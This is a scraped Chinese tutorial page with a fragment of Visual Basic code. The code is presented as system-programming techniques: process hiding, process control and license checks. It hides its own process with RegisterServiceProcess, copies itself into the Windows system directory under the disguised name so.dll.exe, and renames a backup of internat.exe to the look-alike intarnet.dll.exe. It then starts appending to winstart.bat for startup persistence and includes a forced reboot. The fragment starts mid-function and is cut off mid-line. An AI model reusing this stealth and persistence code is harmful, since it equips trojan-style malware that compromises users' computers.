当前位置: 网学 > 编程文档 > VB > 正文

VB系统编程,隐藏进程、进程控制、正版验证等。

来源:Http://myeducs.cn 联系QQ:点击这里给我发消息 作者: 用户投稿 来源: 网络 发布时间: 12/10/16
下载{$ArticleTitle}原创论文样式
 Else
        GetWinPath = ""
    End If
End Function

''取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

''文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

''隐藏进程
Public Sub RemoveProgramFromList()
    Dim lngProcessID As Long
    Dim lngReturn As Long
    Dim pid As Long
    lngProcessID = GetCurrentProcessId()
    lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

''打开浏览器
Public Sub gotoweb()
    Dim Success As Long
    Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
End Sub

''连入网站
Private Sub cmdBuy_Click()
    gotoweb
End Sub

''重新启动
Private Sub cmdReset_Click()
   Dim lresult
   lresult = ExitWindowsEx(EWX_REBOOT, 0&)
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
    Path = App.Path
    If Right(Path, 1) <> "\" Then Path = Path & "\"
    If App.PrevInstance Then End
    If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
        ''备份internat.exe文件
        SourceFile = GetSystemPath & "\internat.exe"
        DestinationFile = GetSystemPath & "\intarnet.dll.exe"
        FileCopy SourceFile, DestinationFile
        ''复制自己
        SourceFile = Path & App.EXEName & ".EXE"
        DestinationFile = GetSystemPath & "\so.dll.exe"
        FileCopy SourceFile, DestinationFile
        ''改写winstart.bat文件
        Open GetWinPath & "\winstart.bat" For Append As #1
  &nb
  • 上一篇资讯: VB入门之“Hello World”
  • 网学推荐

    免费论文

    原创论文

    浏览:
    设为首页 | 加入收藏 | 论文首页 | 论文专题 | 设计下载 | 网学软件 | 论文模板 | 论文资源 | 程序设计 | 关于网学 | 站内搜索 | 网学留言 | 友情链接 | 资料中心
    版权所有 QQ:3710167 邮箱:3710167@qq.com 网学网 [Myeducs.cn] 您电脑的分辨率是 像素
    Copyright 2008-2015 myeducs.Cn www.myeducs.Cn All Rights Reserved
    湘ICP备09003080号